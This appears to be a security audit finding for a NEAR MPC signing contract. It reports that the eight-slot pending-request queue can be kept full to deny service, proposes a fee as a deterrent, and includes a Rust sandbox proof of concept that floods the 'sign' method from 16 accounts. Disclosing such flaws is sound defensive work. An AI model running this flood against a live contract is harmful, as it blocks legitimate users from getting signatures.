Malicious actors can cause DoS on contract by constantly keeping the pending requests full. There is a limit of 8, so it is possible to simply constantly send payloads, which will prevent others from submitting payloads to sign (or severely limit the number). There should be a potential financial mechanism, which will discourage malicious actors from keeping the queue full or almost full, which will decrease the throughput
POC
use mpc_contract::primitives::CandidateInfo;
use near_workspaces::{network::Sandbox, AccountId};
use serde_json::json;
use std::collections::HashMap;
const CONTRACT_FILE_PATH: &[u8] =
include_bytes!("../../target/wasm32-unknown-unknown/release/mpc_contract.wasm");
struct Env {
contract: near_workspaces::Contract,
malicious_account: near_workspaces::Account,
candidates: HashMap<AccountId, CandidateInfo>,
worker: near_workspaces::Worker<Sandbox>,
}
async fn prepare() -> anyhow::Result<Env> {
let worker = near_workspaces::sandbox().await?;
let malicious_account = worker.dev_create_account().await?;
println!("Malicious account is created: {}", malicious_account.id());
let contract = worker.dev_deploy(CONTRACT_FILE_PATH).await?;
println!("Contract is deployed: {}", contract.id());
let candidates: HashMap<AccountId, CandidateInfo> = HashMap::new();
contract
.call("init")
.args_json(serde_json::json!({
"threshold": 2,
"candidates": candidates
}))
.transact()
.await?
.into_result()?;
Ok(Env {
contract,
malicious_account,
candidates,
worker,
})
}
#[tokio::test]
async fn dos() -> anyhow::Result<()> {
let Env {
contract, worker, ..
} = prepare().await?;
let account_handles = (0..16).map(|_| worker.dev_create_account());
let accounts: Vec<_> = futures::future::try_join_all(account_handles).await?;
for account in &accounts {
println!("Account is created: {}", account.id());
}
let contract_id = contract.id();
let handle_vec = accounts
.into_iter()
.enumerate()
.map(|(i, acc)| {
println!("Iteration: {}", i);
let arr = [i as u8; 32];
acc.call(&contract_id, "sign")
.args_json(json!({"payload": arr, "path": "", "key_version": 0}))
.max_gas()
.transact()
})
.collect::<Vec<_>>();
// Wait for all futures to complete
let results = futures::future::join_all(handle_vec).await;
// Process results
for result in results {
match result {
Ok(ok_result) => match ok_result.into_result() {
Ok(good_result) => println!("Result: {:?}", good_result),
Err(e) => println!("Error: {:?}", e),
},
Err(e) => println!("Error handling future: {:?}", e),
}
}
Ok(())
}
Description
Malicious actors can cause DoS on contract by constantly keeping the pending requests full. There is a limit of 8, so it is possible to simply constantly send payloads, which will prevent others from submitting payloads to sign (or severely limit the number). There should be a potential financial mechanism, which will discourage malicious actors from keeping the queue full or almost full, which will decrease the throughput
POC